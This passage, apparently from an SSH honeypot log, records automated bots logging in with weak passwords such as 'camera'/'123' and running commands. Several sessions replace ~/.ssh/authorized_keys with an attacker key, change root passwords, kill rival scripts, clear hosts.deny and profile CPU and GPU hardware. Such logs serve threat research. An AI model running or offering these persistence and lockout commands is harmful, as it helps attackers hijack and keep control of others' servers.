AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:57:44.555573+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:57:45.286247+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:57:45.611327+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\n3MgKl9riQBlH\\n3MgKl9riQBlH\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:57:45.938800+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\n3MgKl9riQBlH\\n3MgKl9riQBlH\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:57:46.266030+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:57:46.633552+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:57:46.960389+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:57:48.011951+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:57:48.344527+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:57:49.646606+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:57:49.977095+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:57:50.678277+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:57:51.006145+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:57:51.742200+00:00","kind":"output","latency_ms":null,"data":" 12:57:51 up 7 days, 9:47, 0 user, load average: 0.14, 0.14, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:57:52.069187+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:57:52.332775+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:57:52.659296+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:57:53.133155+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:57:53.461299+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:57:53.785593+00:00","kind":"output","latency_ms":null,"data":"top - 12:57:53 up 7 days, 9:48, 0 user, load average: 0.14, 0.14, 0.15\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:57:54.113612+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:57:54.665647+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:57:54.994201+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:57:55.248545+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:57:55.575271+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:57:56.357401+00:00","kind":"output","latency_ms":null,"data":"camera"},{"seq":29,"at":"2026-08-27T12:57:56.681098+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:57:58.003795+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:57:58.328562+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:57:59.307835+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"camera","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"1f017aa2-1cad-41cc-b267-6b06f8c2d2ee","name":"lanky-electric-lorikeet","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":56136,"username":"camera","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:57:43.404175+00:00","ended_at":"2026-08-27T12:57:44.458386+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"camera","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e3b27f9e-6ed6-4196-a2e2-18434252e9cc","name":"golden-marbled-chinchilla","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":56130,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:57:42.095852+00:00","ended_at":"2026-08-27T12:57:42.753286+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e60ce5f5-6dbd-4313-b46a-5991c59310f8","name":"sandy-smooth-nightjar","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":42206,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":742,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:56:32.739534+00:00","ended_at":"2026-08-27T12:56:33.501179+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:56:11.746286+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:56:12.486418+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:56:19.848558+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:56:19.849294+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:56:20.589126+00:00","kind":"input","latency_ms":null,"data":"echo \"root:cVVopYfBJWjV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:56:21.333807+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:56:22.074995+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:56:22.075833+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:56:22.820267+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:56:23.400666+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:56:24.147800+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:56:24.706463+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:56:25.449283+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:56:25.449963+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:56:26.191553+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:56:26.192036+00:00","kind":"output","latency_ms":null,"data":" 12:56:26 up 7 days, 9:46, 0 user, load average: 0.1, 0.12, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:56:26.931254+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:56:26.932040+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:56:27.673431+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:56:27.674034+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:56:28.426354+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:56:28.428072+00:00","kind":"output","latency_ms":null,"data":"top - 12:56:28 up 7 days, 9:46, 0 user, load average: 0.1, 0.12, 0.09\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:56:29.166770+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:56:29.167315+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:56:29.908259+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:56:29.908758+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:56:30.653414+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:56:30.654177+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:56:31.402914+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:56:31.999547+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:56:32.740338+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:56:33.262472+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456780","method":"password","accepted":true,"tier":"other"}]} {"id":"250eebcf-aea6-4e1f-bc21-b2948783b0f7","name":"coral-murky-wallaby","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":42222,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:56:17.904006+00:00","ended_at":"2026-08-27T12:56:19.614163+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"895413b9-931f-465b-8c57-b22d89f66440","name":"civil-tidal-bowerbird","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":39882,"username":"devuser","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":208,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T12:56:16.072411+00:00","ended_at":"2026-08-27T12:56:16.177947+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":737,"events":[{"seq":1,"at":"2026-08-27T12:56:14.332624+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T12:56:14.821236+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T12:56:15.029485+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T12:56:15.029952+00:00","kind":"output","latency_ms":null,"data":" 12:56:15 up 7 days, 9:46, 0 user, load average: 0.3, 0.35, 0.21"},{"seq":5,"at":"2026-08-27T12:56:15.238085+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T12:56:15.238449+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T12:56:15.446018+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T12:56:15.446552+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T12:56:15.655234+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T12:56:15.655819+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T12:56:15.864633+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T12:56:15.864969+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T12:56:16.073272+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T12:56:16.073756+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"devuser","password":"devuser","method":"password","accepted":true,"tier":"other"}]} {"id":"e0a83286-66fd-4de3-8153-d3be8a4aaa3f","name":"nameless-obsidian-warbler","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":42212,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:56:14.415174+00:00","ended_at":"2026-08-27T12:56:16.198727+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c6813f20-da54-43e4-8628-5456f230fb6c","name":"meadow-thrifty-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":44592,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:56:13.484738+00:00","ended_at":"2026-08-27T12:56:14.446308+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:55:54.114162+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:55:54.409317+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:55:58.549231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:55:59.231110+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:55:59.525042+00:00","kind":"input","latency_ms":null,"data":"echo \"root:MkoffwArKiM9\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:55:59.817745+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:56:00.113034+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:56:00.868736+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:56:01.162634+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:56:02.798735+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:56:03.095568+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:56:04.339370+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:56:04.635591+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:56:04.936070+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:56:05.231602+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:56:05.853447+00:00","kind":"output","latency_ms":null,"data":" 12:56:05 up 7 days, 9:46, 0 user, load average: 0.05, 0.06, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:56:06.149619+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:56:06.801178+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:56:07.096402+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:56:07.654137+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:56:07.947709+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:56:08.636144+00:00","kind":"output","latency_ms":null,"data":"top - 12:56:08 up 7 days, 9:46, 0 user, load average: 0.05, 0.06, 0.05\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:56:08.930481+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:56:09.664907+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:56:09.960036+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:56:10.587008+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:56:10.881556+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:56:11.619160+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:56:11.913824+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:56:13.189846+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:56:13.485720+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:56:14.358429+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Sz123456@","method":"password","accepted":true,"tier":"other"}]} {"id":"dbd209f5-dc7b-4904-92d7-6615076b6410","name":"alpine-patient-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":53752,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:56:01.232088+00:00","ended_at":"2026-08-27T12:56:03.197873+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:55:42.302904+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:55:42.630131+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:55:46.150078+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:55:46.612410+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:55:46.937833+00:00","kind":"input","latency_ms":null,"data":"echo \"root:q9yuE7KU4FUe\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:55:47.267670+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:55:47.594721+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:55:48.074033+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:55:48.400990+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:55:49.588363+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:55:49.919283+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:55:51.229147+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:55:51.559093+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:55:51.900358+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:55:52.227625+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:55:53.059433+00:00","kind":"output","latency_ms":null,"data":" 12:55:53 up 7 days, 9:46, 0 user, load average: 0.03, 0.04, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:55:53.386489+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:55:54.107900+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:55:54.434871+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:55:55.211350+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:55:55.540952+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:55:56.091410+00:00","kind":"output","latency_ms":null,"data":"top - 12:55:56 up 7 days, 9:46, 0 user, load average: 0.03, 0.04, 0.03\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 